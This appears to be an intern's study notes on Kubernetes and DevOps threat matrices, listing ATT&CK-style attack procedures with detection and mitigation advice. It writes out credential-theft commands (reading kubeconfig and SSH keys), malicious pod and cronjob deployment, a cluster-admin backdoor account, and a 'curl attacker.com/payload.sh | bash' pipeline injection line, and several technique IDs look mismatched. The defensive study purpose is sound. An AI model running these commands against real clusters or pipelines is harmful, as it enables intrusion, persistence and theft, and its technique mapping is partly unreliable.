Intern id:263

☸️ . Kubernetes Threat Matrix (Microsoft / ATT&CK for Containers)

The Kubernetes Threat Matrix follows **Enterprise ATT&CK tactics** but adapted for containerized environments.

🎯 Tactic 1: Initial Access (Kubernetes)

Goal: Gain unauthorized access to the Kubernetes cluster.

Technique 1: T1078 – Compromised Kubernetes Credentials

Procedure:

1. Steal kubeconfig file from developer machine:
2. cat ~/.kube/config
3. Authenticate with stolen config:
4. kubectl --kubeconfig stolen-config get pods --all-namespaces

   Output: Lists all pods across namespaces.

Technique 2: T1557 – Exploit Publicly Exposed Kubernetes API Server

Procedure:

1. Scan for open API servers (port 6443):
2. nmap -p 6443 <target-ip>
3. Access unauthenticated API endpoints:
4. curl -k https://<ip>:6443/api/v1/nodes

Technique 3: T1190 – Exploit Vulnerable Container Images

Procedure:

1. Identify public image vulnerabilities (using Trivy):
2. trivy image vulnerable-app:latest
3. Exploit shell access inside vulnerable container.

📊 Summary Table

Step	Technique ID	Description
1–3	T1078	Stolen kubeconfig or token reuse
4–6	T1557	Access exposed API server endpoints
7–9	T1190	Exploit insecure container images

🛡 Detection & Mitigation

- Rotate kubeconfig credentials and enforce **RBAC** with least privilege.
- Restrict API server access to internal networks only.
- Use **image scanning (Trivy, Clair)** to ensure secure container builds.

✅ Why This Works

Attackers exploit **weak authentication, exposed APIs, and unpatched containers** to enter Kubernetes environments.

🎯 Tactic 2: Execution (Kubernetes)

Goal: Run malicious code or commands inside the Kubernetes environment.

Technique 1: T1059 – Exec Into Container Procedure:

1. Execute commands inside running pod:
2. kubectl exec -it pod-name -- /bin/sh 3. Run malicious scripts within the container.

Technique 2: T1609 – Deploy Malicious Workloads Procedure:

1. Create new pod from attacker-controlled image:
2. kubectl run evil-pod --image=attacker/malware

Technique 3: T1053 – Abuse CronJobs Procedure:

1. Deploy malicious scheduled job:
2. kubectl create cronjob evil-job --schedule="*/5 * * * *" -image=attacker/malware

---

🛡 **Detection & Mitigation**

- Monitor kubectl exec and pod creation events in audit logs.
- Enforce admission controllers (OPA/Gatekeeper) to restrict workloads.
- Use **runtime security tools (Falco)** to detect anomalous commands.

🎯 **Tactic 3: Persistence (Kubernetes)**

Goal: Maintain long-term access to Kubernetes clusters.

Technique 1: T1136 – Create Backdoor Service Accounts

Procedure:

1. Create a privileged service account:
2. kubectl create serviceaccount backdoor
3. kubectl create clusterrolebinding backdoor-admin -clusterrole=cluster-admin --serviceaccount=default:backdoor

---

Technique 2: T1525 – Malicious Admission Webhooks Procedure:

1. Deploy a webhook to modify pod specs on creation:
2. kubectl apply -f malicious-webhook.yaml

Technique 3: T1053 – CronJob Persistence

Procedure:

1. Schedule periodic container deployments to maintain access.

🛡 **Detection & Mitigation**

- Monitor for new **service accounts and RBAC changes.**
- Validate admission controllers and webhook integrity. □ Audit Kubernetes cronjobs for unauthorized entries.

⚙**. DevOps Threat Matrix (Microsoft)**

The DevOps Threat Matrix maps **Enterprise-style tactics** to the DevOps CI/CD context.

🎯 **Tactic 1: Initial Access (DevOps)**

Goal: Gain unauthorized access to DevOps pipelines or SCM.

Technique 1: T1078 – Stolen SCM (GitHub/GitLab) Credentials

Procedure:

1. Harvest developer SSH keys:
2. cat ~/.ssh/id_rsa 3. Clone private repos:
4. git clone git@github.com:company/repo.git

Technique 2: T1552 – Hardcoded Secrets in Repos

Procedure:

1. Search repos for secrets:
2. trufflehog git@github.com:company/repo.git 3. Extract API keys or tokens from code history.

Technique 3: T1190 – Exploit Vulnerable CI/CD Runners

Procedure:

1. Identify Jenkins or GitLab Runner exposure:
2. nmap -p 8080 jenkins.company.com 3. Exploit known plugin vulnerabilities for RCE.

🛡 **Detection & Mitigation**

- Enforce MFA on SCM accounts and rotate keys.
- Scan code for secrets (e.g., GitHub Advanced Security). □ Patch CI/CD runners and restrict public access.

🎯 **Tactic 2: Execution (DevOps)**

Goal: Inject malicious code into build or deployment pipelines.

Technique 1: T1059 – Modify Build Scripts

Procedure:

1. Edit Jenkinsfile or .gitlab-ci.yml to add malicious step:
2. - script: curl attacker.com/payload.sh | bash

Technique 2: T1609 – Supply Chain Attack via Dependencies

Procedure:

1. Upload malicious library version to public registry (npm, PyPI).
2. CI/CD builds pull and execute it.

Technique 3: T1053 – Pipeline Scheduled Triggers

Procedure:

1. Configure malicious scheduled build job to run nightly malware uploads.

🛡 **Detection & Mitigation**

- Require **code review approvals** for pipeline file changes.
- Lock dependency versions; enable integrity verification (hash pinning).
- Audit pipeline triggers for unauthorized jobs.
